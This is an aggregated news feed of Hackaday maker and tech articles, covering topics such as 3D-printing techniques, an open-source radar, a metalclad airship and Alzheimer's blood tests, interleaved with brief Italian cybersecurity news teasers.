For those unfamiliar, ironing is a technique in filament-based 3D printing that uses the extruder to smooth out top surfaces after printing them. The hot nozzle makes additional passes across a top surface, extruding a tiny amount in the process, which smooths out imperfections and leaves a much cleaner surface. Selective ironing is nearly the same process, but applied only in a certain pattern instead of across an entire surface.
Selective Ironing can create patterns by defining the design in CAD, and using a post-processing script.
While conceptually simple, actually making it work was harder than expected. [Julius] settled on using a mixture of computer-aided design (CAD) work to define the pattern, combined with a post-processing script. More specifically, one models the desired pattern into the object in CAD as a one-layer-tall feature. The script then removes that layer from the model while applying the modified ironing pattern in its place. In this way, one can define the pattern in CAD without actually adding any height to the printed object. You can see it in action in the video, embedded below.
We’ve seen some interesting experiments in ironing 3D prints, including non-planar ironing and doing away with the ironing setting altogether by carefully tuning slicer settings so it is not needed. Selective Ironing is another creative angle, and we can imagine it being used to embed a logo or part number as easily as a pattern.
Selective Ironing is still experimental, but if you find yourself intrigued and would like to give it a try head over to the GitHub repository where you’ll find the script as well as examples to try out.
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2026-03-12 09:08:19 UTC

L’analisi ASviS. Quando le app diventano armi di guerra
@nprofile…fwcg
BadeSaba Calendar è un’app molto diffusa in Iran. Serve a mostrare gli orari di preghiera per i credenti, il calendario religioso e le notifiche dell’Adhan, la chiamata islamica fatta di norma dal muezzin. Solo su Android ha avuto cinque milioni di download. Quando il 28 febbraio sono iniziati i

2026-03-12 08:00:14 UTC

Open Source Radar Has Up To 20 KM Range
Phased-array radars are great for all sorts of things, whether you’re doing advanced radio research or piloting a fifth-generation combat aircraft. They’re also typically very expensive. [Nawfal] hopes to make the technology more affordable with an open-source radar design of their own.
The design is called the AERIS-10, and is available in two versions. Operating at 10.5 GHz, it can be built to operate at ranges between 3 or 20 kilometers depending on the desired spec. The former uses an 8 x 16 patch antenna array, while the latter extends this to a 32 x 16 array. Either way, each design is capable of fully-electronic beam steering in azimuth and can be hacked to enable elevation too—one of the most attractive features of phased array radars. The hardware is based around an STM32 microcontroller, an FPGA, and a bunch of specialist clock generators, frequency synthesizers, phase shifters, and ADCs to do all the heavy lifting involved in radar.
Radar is something you probably don’t spend a lot of time thinking about unless you’re involved in maritime, air defence, or weather fields. All of which seem to be very much in the news lately! Still, we feature a good few projects on the topic around these parts. If you’ve got your own radar hacks brewing up in the lab, don’t hesitate to let us know.
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2026-03-12 05:00:11 UTC

A Radio Power Amplifier for Not a Lot
When building a radio transmitter, unless it’s a very small one indeed, there’s a need for an amplifier before the antenna. This is usually referred to as the power amplifier, or PA. How big your PA is depends on your idea of power, but at the lower end of the power scale a PA can be quite modest. QRP, as lowe power radio is referred to, has a transmit power in the miliwatts or single figure watts. [Guido] is here with a QRP PA that delivers about a watt from 1 to 30 MHz, is made from readily available parts, and costs very little.
Inspired by a circuit from [Harry Lythall], the prototype is built on a piece of stripboard. It’s getting away with using those cheap transistors without heatsinking because it’s a class C design. In other words, it’s in no way linear; instead it’s efficient, but creates harmonics and can’t be used for all modes of transmission. This PA will need a low-pass filter to avoid spraying the airwaves with spurious emissions, and on the bands it’s designed for, is for CW, or Morse, only.
We like it though, as it’s proof that building radios can still be done without a large bank balance. Meanwhile if the world of QRP interests you, it’s something we have explored in the past.
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2026-03-12 02:00:48 UTC

Hands on with Creality’s new M1 Filament Maker
Ever since 3D printing has become a popular tool, the question of waste has been looming in the background. The sad reality of rapid prototyping is that you’re going to generate a lot of prints that just don’t aren’t fit for purpose, even if your printer runs them off perfectly every time. Creality has some products on the way aimed at solving that problem, and [Embrace Making] on YouTube has got his hands on a pre-production prototype of the Creality M1 Filament Maker to give the community a first look.
The M1 is actually only half of the system; Creality is also working on an R1 shredder to reduce your prints into re-usable shreds. [Embrace Making] hasn’t gotten his hands on that, but shredding prints isn’t the hard part. We’ve featured plenty of DIY shredders in the past. Extruding filament reliably at home has traditionally proven much more difficult, which is why we mostly outsource it to professionals.
Lacking the matching shredder, and wanting to give the M1 the fairest possible shake, [Embrace] tests the machine out first using Creality-supplied PLA pellets. The filament diameter isn’t as stable as we’ve gotten used to, and the spool rolling setup needs a bit more work.
Again, this is an early prototype. Creality says they’re working on it and claims they’ll get to ±0.05 mm precision in the production models. Doubtless they’ll also fix the errors that led to [Embrace]’s messy spool. That’s probably just software given that the winding mechanism did a pretty good job on the Creality-supplied spool.
Most importantly, the M1-produced filament does print. The prints aren’t perfect due to the variation in diameter, but they turn out surprisingly well for home-made filament. [Embrace] also shows off the ability to mix custom colors and gradients, but, again, using raw PLA rather than shredded material. Hopefully Creality lets him test drive the R1 shredder once its design is further along.
This is hardly the first time we’ve seen a filament extruder. The goal of this product is to pair with a shredder and use it for recycling, but if you’re going to stick with raw plastic pellets, you may as well print them directly.
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2026-03-12 00:01:52 UTC

Rapporto Clusit 2026: cresce l’impatto degli attacchi cyber, ma anche le difficoltà di analisi
@nprofile…fwcg
A fronte di un +49% d’aumento degli attacchi cyber a livello globale, in Italia si registra una crescita record del 42%, a dimostrazione che il Bel Paese continua a essere bersaglio appetibile per i criminali informatici.

2026-03-11 23:00:13 UTC

Printing an Underwater Diving Helmet With Floating Air Supply
Old-school diving helmets are deceivingly simple, even if they are – as [Hyperspace Pirate] puts it in a recent video – essentially the equivalent of an upside-down bucket with an air hose supplying air into it. While working on a 3D-printed diving helmet, he therefore made sure to run through all the requisite calculations prior to testing out said diving helmet in his pool.
The 3D model for the diving helmet can be found over at Thingiverse if you too feel like getting wet, just make sure that you size it to fit your own head. In the video CAD (cardboard-aided design) was used to determine the rough bounding box for the head, but everyone’s head is of course different. The helmet was printed in ABS, with the sections glued together before being covered in fiberglass and epoxy resin. Note that polyester resin dissolves ABS, so don’t use that.
On the helmet is a 1/4″ SAE fitting for the air hose, with the air provided from an oil-less compressor that in the final iteration is strapped to a floatation device along with an inverter and batteries. Of note is that you do not want to use a gas-powered compressor, as it’ll happily use any CO2 and CO it exhausts to send down the air hose to your lungs. This would be bad, much as having vaporized oil ending up in your lungs would be bad.
Although in the video the system is only tested in a backyard pool, it should be able to handle depths of up to ten meters, assuming the compressor can supply at least 41 L/minute. With some compressor-side miniaturization and waterproofing, [Hyperspace Pirate] reckons it would work fine for some actual ocean exploration, which while we’re sure everyone is dying to see. Perhaps don’t try this one at home, kids.
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2026-03-11 20:00:18 UTC

3D Printing a Harmonic Pin-Ring Gearing Drive
Cycloidal drives are a type of speed reducer that are significantly more compact than gearboxes, but they still come with a fair number of components. In comparison, the harmonic pin-ring drive that [Raph] recently came across as used in some TQ electric bicycles manages to significantly reduce the number of parts to just two discs. Naturally he had to 3D model his own version for printing a physical model to play with.
How exactly this pin-ring cycloidal drive works is explained well in the referenced [Pinkbike] article. Traditional cycloidal drives use load pins that help deal with the rather wobbly rotation from the eccentric input, but this makes for bulkier package that’s harder to shrink down. The change here is that the input force is transferred via two teethed discs that are 180° out of sync, thus not only cancelling out the wobble, but also being much more compact.
It appears to be a kind of strain wave gearing, which was first patented in 1957 by C.W. Musser and became famous under the Harmonic Drive name, seeing use by NASA in the Lunar Rover and beyond. Although not new technology by any means, having it get some more well-deserved attention is always worth it. If you want to play with the 3D model yourself, files are available both on GitHub and on MakerWorld.
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2026-03-11 18:35:21 UTC

Dal porta a porta alla sanzione: Acea Energia paga 2 milioni di euro per violazioni GDPR
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Il Garante privacy rende noto di avere inflitto una sanzione da 2milioni di euro ad Acea Energia per gravi violazioni privacy, emerse dal trattamento dei dati personali di oltre 1.200 clienti nell’ambito della fornitura di energia

2026-03-11 18:30:23 UTC

Are We Finally At The Point Where Phones Can Replace Computers?
There was an ideal of convergence, a long time ago, when one device would be all you need, digitally speaking. [ETA Prime] on YouTube seems to think we’ve reached that point, and his recent video about the Samsung S26 Ultra makes a good case for it. Part of that is software: Samsung’s DeX is a huge enabler for this use case. Part of that his hardware: the S26 Ultra, as the upcoming latest-and-greatest flagship phone, has absurd stats and a price tag to match.
First, it’s got 12 GB of that unobtanium once called “RAM”. It’s got an 8-core ARM processor in its Snapdragon Elite SOC, with the two performance cores clocked at 4.74 GHz — which isn’t a world record, but it’s pretty snappy. The other six cores aren’t just doddling along at 3.62 GHz. Except for the very youngest of our readers, you probably remember a time when the world’s greatest supercomputers had as much computing power as this phone.
So it should be no suprise that when [ETA Prime] plugs it into a monitor (using USB-C, natch) he’s able to do all the usual computational tasks without trouble. A big part of that is the desktop mode Samsung phones have had for a while now; we’ve seen hackers make use of it in years gone by. It’s still Android, but Android with a desktop-and-windows interface.
What are the hard tasks? Well, there’s photo and video editing, which the hardware can handle. Though [ETA] notes that it’s held back a bit because Adobe doesn’t offer their full suite on Android. But what’s really taxing for most of us is gaming. Android gaming? Well, obviously a flagship phone can handle anything in the play store.
It’s PC gaming that’s pretty impressive, considering the daisy chain of compatibility needed last time we looked at gaming on ARM. Cyberpunk 2077 gets frame rates near 60, but he needs to drop down to “low” graphics and 720p to do it. You may find that ample, or you may find it unplayable; there’s really no accounting for taste.
We might not always like carrying an everything device with us at all times, but there’s something to be said in not duplicating that functionality on your desk. Give it a couple of years when these things hit the used market at decent prices, and unless PC parts drop in price, convergence might start to seem like a great idea to those of us who aren’t big gamers and don’t need floppy drives.
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2026-03-11 16:30:01 UTC

A Rotary Dial The 3D Printed Way
There’s a meme which may have a basis in truth, of a teenager left clueless when presented with a rotary telephone. The dial, in reality a mechanical pulse chain generator, was once ubiquitous enough that having one in your parts bin was anything but unusual. If you’re curious about their inner workings in 2026 though, you may be out of luck. Never fear though, because [Moeya 3D Designs] is here with a fully 3D printed version. It’s not as compact as the original, but it’s all there.
If you’re not put off by the anime-style Japanese voice over on the video below the break and you can enable subtitles for your language, you get the full explanation. There’s a ratchet and spring on the dial, which when released drives a gear train that ends in a cam that would operate a switch for the pulses. Another set of gears drives a very neatly designed centrifugal speed governor, and we see the effect immediately when it is removed. We’re not sure who will go for this project, but we surely like it.
There are two videos below the break, with the dial shown off in the first and the design process in the second. Meanwhile we’ve talked in the past about the networks behind the dials.
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Thanks [Jan] for the tip.
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2026-03-11 15:31:02 UTC

German Fireball’s 15 Minutes of Fame
Sunday night, around 7:00 PM local time, a bright fireball streaked across the western German sky, exploded, and rained chunks of space rock down on the region around Koblenz. One of the largest known chunks put a soccer-ball-sized hole in someone’s roof, landing in their bedroom. Fortunately, nobody was hurt. But given the apparent size of the explosion, there must be many more pieces out there for the finding, and a wave of hopeful meteorite hunters has descended upon the region.
But if you wanted a piece of the action, where exactly would you start looking? How do scientists find meteorites anyway? And what should you do if you happen to see a similar fireball in the night sky?
Citizen Science
Meteorite video-bombs a boring parking lot in Heerlen, NL.
In the age of always-on dashboard cameras, ubiquitous smartphones, and other video recording devices, it’s hard for a shy meteorite to find a quiet spot out of the public eye. That makes them a lot easier to find than they were in the past. Indeed, the International Meteor Organization, which aggregates amateur meteor observations, received more than 3,200 reports of this one, including several with video documentation. Some are stunning, and others may not even be of the event at all.
By collecting reports from many locations, they can hope to piece together the meteorite’s trajectory. However, if you look at the individual reports, it’s clear that this is a difficult task. Nobody is expecting a bright fireball to streak across the night sky, so many of the reports are reasonably vague on the details and heavy on the awe.
This report from [Sophie Z], for instance, is typical. She records where she was and roughly the location in the night sky where the meteorite passed, along with the comment “I’ve never seen anything so amazing and large before in my life.” Other amateur observers are more precise. [David C] (“I have a Ph.D in physics”) managed to record the start and the end heading of the meteorite to a couple of decimal places. He must have had a camera.
We’d love to know the exact algorithm used for combining the reports. It’s worth noting that reporters get an experience score, and the system presumably takes this into account when producing the average track. However, the system works, though, with 3,200 reports of a once-in-a-lifetime meteorite, it’s bound to come up with a pretty good estimate. But for smaller meteorites, like this one that flew by on Monday night, there are fewer observers, and deducing the actual track is a lot more difficult.
Everyday meteorites are better tracked by taking a more systematic approach. We’ve covered a few of these networks before, because the equipment needed to contribute meaningfully isn’t all that much more complicated than a single-board computer with a network connection, a camera module, and a weatherproof housing to keep it working all year round. We’ve covered the French meteorite-hunting network, Fripon, before, and have featured other amateur sky-camera builds to boot. But we’re not amateur astronomers, so we’re not in the loop on what the current state of the art is. If you know about coordinated citizen-science meteorite tracking efforts, let us know in the comments.
Geologists Get Into The Astronomy Game
This meteorite was big enough and loud enough when it exploded that participation in tracking wasn’t limited to those who are looking up. Geologists at the Karlsruhe Institute for Technology (KIT) found that the explosion registered on their seismometers. (Via Heise Online.) These have the advantage that they are in very well-known locations with extremely precise timestamps. After all, that’s what they’re used for every day, although the medium that the pressure waves travel through is usually the earth rather than the air.
This was also a particularly lucky event for the KIT team because it happened over a particularly dense network of seismological stations in the Eifel mountains, allowing for greater resolution. And as they point out, using the sound of the explosion has the additional advantage of not being hindered by light conditions during the day or clouds at night. This makes us think of how easy it would be to set up a distributed system of microphones to do something similar.
The KIT track estimate lines up fairly well with the aggregated estimate from amateur observers, but it’s not exactly the same. Who is right? We’ll see where more of the meteorites are found on the ground, presumably, in the next few weeks.
Meteorite Hunting
If the meteorite fell through our roof and chunks were scattered all around our bedroom, we’d count ourselves lucky. But would we get to keep it? Of course, it depends on the local laws, and in Germany, you can keep the meteorites in most cases, unless the state decides that it’s of special value for whatever reason, and then they get first dibs.
Apparently, the going rate for meteorites is between 1€ and 5,000€ per gram, so we’re not entirely sure that it will cover the damage. Maybe our homeowners’ insurance would? We’ll have to go dig out our policy to be sure, but however that plays out, we’d just be stoked to have the meteorite chunks and a good story.
While very big fireballs like this are rare, NASA estimates that around 44,000 kg of meteoritic material falls on the Earth every day. (Whoah!) Most of this burns up in the atmosphere, but some falls to the ground. Most of that fraction is in the form of micrometeorites, which are sand-grain-sized bits that are very likely raining down on us every day. Indeed, if you’re interested, you can try to collect them, and all you need is a tarp on the roof or a magnet in your downspout, a good microscope, and a bit of knowledge. So if all you want is some extraterrestrial rock, and you’re not worried so much about the size, maybe micrometeorite hunting is the path to success.
Have you gone looking for meteorites? Know of any up-to-date amateur fireball-hunting networks? Sound off in the comments!
hackaday.com/2026/03/11/german…
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2026-03-11 13:02:50 UTC

Tutte le minacce del 2025 e le priorità di difesa nel nuovo anno
@nprofile…fwcg
La valutazione critica dei fatti di sicurezza avvenuti e delle tendenze future deve essere rapportata alle capacità di difesa della propria organizzazione. E questo per far emergere un eventuale divario di sicurezza e per poi pianificare interventi adeguati. Ecco come

2026-03-11 12:57:17 UTC

Aggiornamenti Microsoft: corrette due zero-day e la prima vulnerabilità scoperta dall’IA
@nprofile…fwcg
Microsoft rilascia gli aggiornamenti mensili con otto vulnerabilità critiche, una valanga di escalation di privilegi e una falla in Excel che potrebbe trasformare Microsoft Copilot in strumento di esfiltrazione dati. E, per

2026-03-11 12:54:20 UTC

Fastweb+Vodafone, il cybercrime in Italia: attacchi più mirati, phishing più sofisticato e crescita attacchi “zero day”
@nprofile…fwcg
Anche per l’anno 2025 Fastweb + Vodafone ha contribuito a fotografare la situazione del cyber crime in Italia sulla base dei dati del proprio Security Operations Center (SOC), attivo

2026-03-11 11:00:08 UTC

Mini Multi-Arcade Game Cabinets with an ESP32 and Galagino
Most people love arcade games, but putting a full-sized arcade cabinet in the living room can lead to certain unpleasant complications. Ergo the market for fun-sized cabinets has exploded alongside the availability of cheap SBCs and MCUs that can run classical arcade titles. Microcontrollers like the ESP32 with its dual 240 MHz cores can run circles around the CPU grunt of 1980s arcade hardware. Cue [Till Harbaum]’s Galagino ESP32-based arcade emulator project, that recently saw some community versions and cabinet takes.
There was a port to the PlatformIO framework by [speckhoiler] which also added a few more arcade titles and repurposed the enclosure of an off-the-shelf ‘My Arcade’ by stuffing in an ESP32-based ‘Cheap Yellow Display‘ (CYD) board instead. These boards include the ESP32 module, a touch display, micro SD card slot, sound output, and more; making it an interesting all-in-one solution for this purpose.
Most recently [Davide Gatti] and friends ported the Galagino software to the Arduino platform and added a 3D printed enclosure, though you will still need to source a stack of parts which are listed in the bill of materials. What you do get is a top display that displays the current game title in addition to the display of the usual CYD core, along with an enclosure that can be printed both in single- or multi-color.
There’s also a build video that [Davide Gatti] made, but it’s only in Italian, so a bit of a crash course in this language may be required for some finer details.
youtube.com/embed/Nz3LRrY3Ukw?…
Thanks to [ZT] for the tip.
hackaday.com/2026/03/11/mini-m…
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2026-03-11 09:41:03 UTC

Manualetto di sicurezza digitale per giornalisti e attivisti
“Manualetto di sicurezza digitale per giornalisti e attivisti”
scritto e pubblicato da Guerre di Rete
lo presenta
Sonia Montegiove
ne discutono
Stefano Chiccarelli, Arturo Di Corinto, Fabio Pietrosanti
coordina
Giulio De Petra
A questo indirizzo si può trovare la descrizione dell’incontro:
centroriformastato.it/iniziati…
‘incontro si svolgerà a Roma, mercoledì 18 marzo, in via della Dogana Vecchia 5, a partire dalle 17,30.
Sarà possibile partecipare anche a distanza, collegandosi tramite il link
us02web.zoom.us/j/86313951005
Il nostro rapporto con le tecnologie è inevitabilmente contraddittorio. Mai come ora siamo circondati da strumenti abilitanti, che ci consentono di allargare le nostre capacità, ridurre sforzi e tempi di vecchie attività, dotarci di una somma di poteri da cui ormai siamo dipendenti. Eppure questi stessi strumenti, in maniera spesso invisibile e inattesa, possono aprire dei varchi sulle nostre vite, il nostro lavoro, le nostre relazioni. E quando succede, proprio la loro potenza, insieme alla capacità di archiviazione, l’ubiquità, la granularità con cui estraggono informazioni che prima non sarebbero mai state raccolte, diventano un’arma a doppio taglio. Questo vale per tutti, ma soprattutto per giornalisti e attivisti, che fanno dello scambio di informazioni (anche delicate, riservate, sensibili) una delle loro ragion d’essere. Il problema è che la macchina, intesa come l’assemblaggio caotico e strabordante di dispositivi, account, servizi digitali che ognuno di noi gestisce alla bell’e meglio mentre è intento a vivere e a lavorare, funziona splendidamente (o dà l’idea di funzionare in tal modo) senza disfunzioni, senza avvertimenti, senza preavvisi, fino al giorno in cui non funziona più. Fino al giorno in cui si riceve una strana notifica di Apple o Meta di essere stati oggetto di un attacco statale; fino a quando ritroviamo i nostri dati più privati online; o non riusciamo a entrare nel nostro account Instagram, che ha iniziato nel frattempo a delirare; o veniamo informati che qualcuno è entrato nella nostra casella di posta; o veniamo respinti alla frontiera senza nemmeno sapere perché; o la nostra fonte passa dei guai, e ci resta il sospetto che sia a causa delle comunicazioni avute con noi.
È con questa consapevolezza che Guerre di Rete ha deciso di scrivere e pubblicare un “Manualetto di sicurezza digitale per giornalisti e attivisti”
Il Manualetto segue un percorso che va dal facile al difficile, da quello che va messo subito in sicurezza, e con poca fatica, a quello che richiede più lavoro. Si inizia inquadrando alcuni aspetti generali – i diversi piani della sicurezza, l’analisi delle minacce – e poi si va nel pratico. Siamo partiti dalla mail perché sappiamo che è ancora l’hub centrale delle nostre vite, e quindi un fortino da difendere. Passiamo poi ai social media che, nel bene e nel male, restano un luogo fondamentale per giornalisti e attivisti, sottovalutato dal punto di vista della sicurezza. Eppure una revisione attenta delle impostazioni di visibilità e di privacy dei nostri account potrebbe far emergere informazioni che non siamo consapevoli di “pubblicizzare”. Poi parliamo di come si comunica con una fonte, o con qualcuno che necessiti di non essere esposto: il problema del primo contatto, quali app (e perché) possono essere utili, quali sistemi adottare per ricevere soffiate. Sistemate la mail, i social, e le comunicazioni, è tempo di pensare ai dispositivi. Sono cifrati? Abbiamo backup? Come li gestiamo? È il caso di compartimentare? Successivamente, ci addentriamo nell’aspetto della cybersicurezza più noto e forse temuto: phishing, malware, spyware.
Senza fare miracoli un lettore consapevole di questo Manualetto può però alzare di molto l’asticella della sua protezione.
dicorinto.it/formazione/manual…

2026-03-11 09:13:35 UTC

L’Iran ha cominciato la contro-guerra cyber: dai Ddos ai sabotaggi, ecco cosa bisogna sapere
@nprofile…fwcg
L’Iran sta usando il dominio cyber come strumento elastico di rappresaglia, con una prima fascia visibile a bassa soglia e una seconda fascia meno rumorosa ma pericolosa che riguarda accessi, persistenza, raccolta

2026-03-10 20:39:11 UTC

Cos’è vibeware, l’industrializzazione dei malware potenziata dalle AI
@nprofile…fwcg
Individuata da Bitdefender, vibeware è una nuova strategia d'attacco APT basata sull’industrializzazione dei malware potenziata dalle AI al fine di diffondere codice dannoso monouso che si adatta agli ambienti target
L'articolo Cos’è vibeware, l’industrializzazione dei malware potenziata dalle AI proviene da Cyber

2026-03-10 20:00:21 UTC

There Are No LEDs Around the Face of This Clock
This unusual clock by [Moritz v. Sivers] looks like a holographic dial surrounded by an LED ring, but that turns out to not be the case. What appears to be a ring of LEDs is in fact a second hologram. There are LEDs but they are tucked out of the way, and not directly visible. The result is a very unusual clock that really isn’t what it appears to be.
The face of the clock is a reflection hologram of a numbered spiral that serves as a dial. A single LED – the only one visibly mounted – illuminates this hologram from the front in order to produce the sort of holographic image most of us are familiar with, creating a sense of depth.
The lights around the circumference are another matter. What looks like a ring of LEDs serving as clock hands is actually a transmission hologram made of sixty separate exposures. By illuminating this hologram at just the right angle with LEDs (which are mounted behind the visible area), it is possible to selectively address each of those sixty exposures. The result is something that really looks like there are lit LEDs where there are in fact none.
[Moritz] actually made two clocks in this fashion. The larger green one shown here, and a smaller red version which makes some of the operating principles a bit more obvious on account of its simpler construction.
If it all sounds a bit wild or you would like to see it in action, check out the video (embedded below) which not only showcases the entire operation and assembly but also demonstrates the depth of planning and careful execution that goes into multi-exposure of a holographic plate.
[Moritz v. Sivers] is no stranger to making unusual clocks. In fact, this analog holographic clock is a direct successor to his holographic 7-segment display clock. And don’t miss the caustic clock, nor his lenticular clock.
youtube.com/embed/EoxLeMWrfeo?…
hackaday.com/2026/03/10/there-…
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2026-03-10 18:30:50 UTC

Turning a GDB Coredump Debug Session Into a Murder Mystery
Debugging an application crash can oftentimes feel like you’re an intrepid detective in a grimy noir detective story, tasked with figuring out the sordid details behind an ugly crime. Slogging through scarce clues and vapid hints, you find yourself down in the dumps, contemplating the deeper meaning of life and the true nature of man, before hitting that eureka moment and cracking the case. One might say that this makes for a good game idea, and [Jonathan] would agree with that notion, thus creating the Fatal Core Dump game.
Details can be found in the (spoiler-rich) blog post on how the game was conceived and implemented. The premise of the game is that of an inexplicable airlock failure on an asteroid mining station, with you being the engineer tasked to figure out whether it was ‘just a glitch’ or that something more sinister was afoot. Although an RPG-style game was also considered, ultimately that proved to be a massive challenge with RPG Maker, resulting in this more barebones game, making it arguably more realistic.
Suffice it to say that this game is not designed to be a cheap copy of real debugging, but the real deal. You’re expected to be very comfortable with C, GDB, core dump analysis, x86_64 ASM, Linux binary runtime details and more. At the end you should be able to tell whether it was just a silly mistake made by an under-caffeinated developer years prior, or a malicious attack that exploited or introduced some weakness in the code.
If you want to have a poke at the code behind the game, perhaps to feel inspired to make your own take on this genre, you can take a look at the GitHub project.
hackaday.com/2026/03/10/turnin…
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2026-03-10 17:00:56 UTC

Blood Tests Could Provide Early Warning of Alzheimers Disease
Alzheimer’s disease remains a frustratingly difficult condition to manage for the millions of patients affected worldwide and their families. The cause of the disease is still not properly understood, and by the time memory loss and cognitive decline become apparent, the underlying brain pathology has often been quietly building for decades.
Soon, though it may be possible to diagnose impending Alzheimer’s disease ahead of time, before symptoms have taken hold. New research suggests this could be achieved through a simple blood draw, providing clinicians and patients precious time to manage the condition and plan ahead.
Early Warning
Amyloid beta plaques in brain tissue (here, stained brown) are a telltale sign of Alzheimer’s disease. Amyloid and tau proteins are implicated in the progression of the condition, but research is ongoing as to the precise mechanisms behind Alzheimer’s. Credit: Nephron, CC BY-SA 3.0
A hallmark of Alzheimer’s disease is the buildup of amyloid and tau protein in the brain. Despite decades of research, the protein’s precise role in the disease remains somewhat unclear. Typically, Alzheimer’s disease is diagnosed by symptoms like memory loss and cognitive decline, with later investigation revealing the presence of elevated levels of these proteins in the brain. This investigation often involves brain imaging or invasive and painful spinal fluid tests.
However, researchers have developed a new predictive model that suggests it’s possible to estimate when a person will begin showing Alzheimer’s symptoms, based on a similar marker. The key ingredient is another protein called p-tau217, which circulates in the blood plasma and mirrors the slow, steady accumulation of amyloid and tau protein within the brain tissues.
The rise in p-tau217 levels was strongly correlated with a later development of cognitive impairment. Credit: research paper
Earlier research had previously established that p-tau217 levels tended to track alongside the rise of amyloid and tau buildup in the brain. This indicated that the level of p-tau217 in the blood could be a proxy for how far along the disease process has progressed. This allows the estimation of how many years remain before symptoms emerge for a given patient, with the research study suggesting this could be as specific as a margin of three or four years.
The research study drew on data from 603 older adults enrolled in two long-running studies — the Knight Alzheimer Disease Research Center at WashU Medicine and the multi-site Alzheimer’s Disease Neuroimaging Initiative. Plasma p-tau217 was measured using simple blood draws. One of the more interesting findings concerns age. The model revealed that the interval between elevated p-tau217 levels and symptom onset isn’t fixed. A person whose levels first ticked upwards at the age 60 might not develop noticeable cognitive problems for another two decades. But if that same elevation appeared at age 80, symptoms tended to follow within about eleven years. It suggests that younger brains appear to tolerate Alzheimer’s-related pathology for longer, while older brains are less able to withstand the protein buildup once the process gets underway.
Age of onset of plasma p-tau217 positivity has a strong effect on the number of years until symptoms become evident. Credit: research paper
Right now, p-tau217 testing is primarily used to help confirm an Alzheimer’s diagnosis in patients who are already experiencing cognitive trouble. It isn’t recommended for screening asymptomatic individuals outside of research settings. However, using p-tau217 as a predictive marker has obvious potential. If clinical trials for preventive Alzheimer’s drugs could enroll participants based on a predicted timeline for symptom onset, rather than waiting years for decline to actually happen, those trials could become dramatically shorter and cheaper to run, and more efficient in general. Perhaps more importantly, it has the potential to give patients a better understanding of what lies ahead, allowing them to plan ahead before cognitive symptoms become an unmanageable imposition on their life.
The research team has made their model development code publicly available on Github and created a web-based tool that lets other researchers explore the clock models in detail. Looking ahead, they note that combining p-tau217 with other blood-based biomarkers linked to cognitive decline could sharpen predictions even further. It’s still early days, but a future where a routine blood test could serve as an early-warning system for Alzheimer’s is looking more plausible than it did a few years ago.
hackaday.com/2026/03/10/blood-…
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2026-03-10 15:30:21 UTC

Power Control for a Busy Workbench
Who among us does not have a plethora of mains-powered devices on their workbench, and a consequent mess of power strips to run them all? [Jeroen Brinkman] made his more controllable with a multi-way switch box.
At first sight it’s a bank of toggle switches, one for each socket. But this is far more than a wiring job, because of course there are a couple of microcontrollers involved, and each of those switches ultimately controls a relay. There are also status LEDs for each socket, and a master switch to bring them all down. Arduino code is provided, so you can build one too if you want to.
We like the idea of a handy power strip controller, and especially the master switch with the inherent state memory provided by the switches. This could find a home on a Hackaday bench, and we suspect on many others too. It’s by no means the first power strip with brains we’ve seen, but most others have been aimed at the home instead.
hackaday.com/2026/03/10/power-…
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2026-03-10 14:00:15 UTC

The “Tin Blimp” Was a Neither Tin Nor a Blimp: The Detroit ZMC-2 Story
That fireball was LZ37. Nobody wanted to see repeats post-war.
Image: “The great exploit of lieutenant Warnefort 1916 England” by Gordon Crosby, public domain.
After all the crashing and burning of Imperial Germany’s Zeppelins in the later part of WWI – once the Brits managed to build interceptors that could hit their lofty altitude, and figured out the trick of using incendiary rounds to set off the hydrogen lift gas – there was a certain desire in airship circles to avoid fires. In the USA, that mostly took the form of replacing hydrogen with helium. Sure, it didn’t lift quite as well, but it also didn’t explode.
Still, supplies of helium were– and are– very much limited, and at least on a rigid Zeppelin, the hydrogen wasn’t even the most flammable part. As has become widely known, thanks in large part to the Mythbusters episode about the Hindenburg disaster, the doped cotton skin in use in those days was more flammable than some firestarters you can buy these days.
That’s a problem, because, as came up in the comments of our last airship article, rigid airships beat blimps largely on Rule of Cool. Who invented the blimp? Well, arguably it was Henri Griffard with his steam-driven balloon in 1857, but not many people have ever heard his name. Who invented the rigid airship? You know his name: Ferdinand Adolf Heinrich August Graf von Zeppelin. No relation. Probably. Well, admittedly most people don’t know the full name, but Count Zeppelin is still practically a household name over a century after his death. His invention was just that much cooler.
That unavoidable draw of coolness led to the Detroit Airship Company and their amazing tin blimp. The idea was the brainchild of a man named Ralph Upton, and is startling in its simplicity: why not take the all-metal, monocoque design that was just then being so successfully applied to heavier-than-air flight, and use it to build an airship?
Of course everyone’s initial reaction to the idea is that it’s absurd: metal is too heavy to fly! They said that about airplanes once, too, but airships are surely a different matter. Airships must be lighter than air. Could a skin of aluminum really hold enough lift gas to keep itself in the air? Upton convinced no lesser lights than Henry Ford to back him, and the Detroit Aircraft Company ultimately found a customer for the design in the US Navy.
Schwartz’s unsuccessful airship, shortly before its crash.
Image credit: unknown, public domain.
It helped that Upton wasn’t exactly the first to come up with this idea: David Schwarz had tried to build a metal airship at the end of the 19th century. Arguably it is he who invented the rigid airship, not my aura farming not-ancestor. His design had metal skin over an internal framework, rather than the lighter monocoque construction Upton was exploring. While it was by no means a success, being destroyed on its maiden flight, the fact that it had a maiden flight at all at least proved that metal structures could be made light enough to get off the ground.
The Detroit Airship Company’s first– and only, as it turned out– prototype was much more successful, as we will see. It was immediately nicknamed the “tin blimp” by the press after it was unveiled in 1929, that name was incorrect in every particular. It wasn’t tin, and it wasn’t a blimp. Well, not exactly, anyway. More on that later.
How To Make a Metal Balloon
Compared to the various frames, longitudinal girders, bracing wires and fabric-backed gas bags of a Zeppelin-type airship, the ZMC-2’s balloon was simplicity itself. The balloon–if you can call it that–was a hollow spheroid built up of strips of 0.0095” (0.24 mm) Alclad sheeting. Alclad is a sort of metallic composite material: a sheet of duraluminum coated with a very thin protective layer of pure aluminum to provide corrosion resistance. The ZMC-2 was actually the first major use of Alclad, but hardly the last. At least for skins, most aircraft aluminum is actually alclad, as alloys with the desired strength-to-weight ratio are generally too vulnerable to corrosion to be exposed to the elements.
The cavernous interior of the ZPG-2’s gas ‘bag’, looking forwards. The ballonets have not yet been installed. Image credit unknown, via Aviation Rapture
So, contrary to popular belief, no tin was involved. And the sturdy aluminum spheroid was not at all flexible, so the ZMC-2 was not really any kind of blimp. It also was not, technically, a Zeppelin. It was a whole new beast: a metalclad airship.
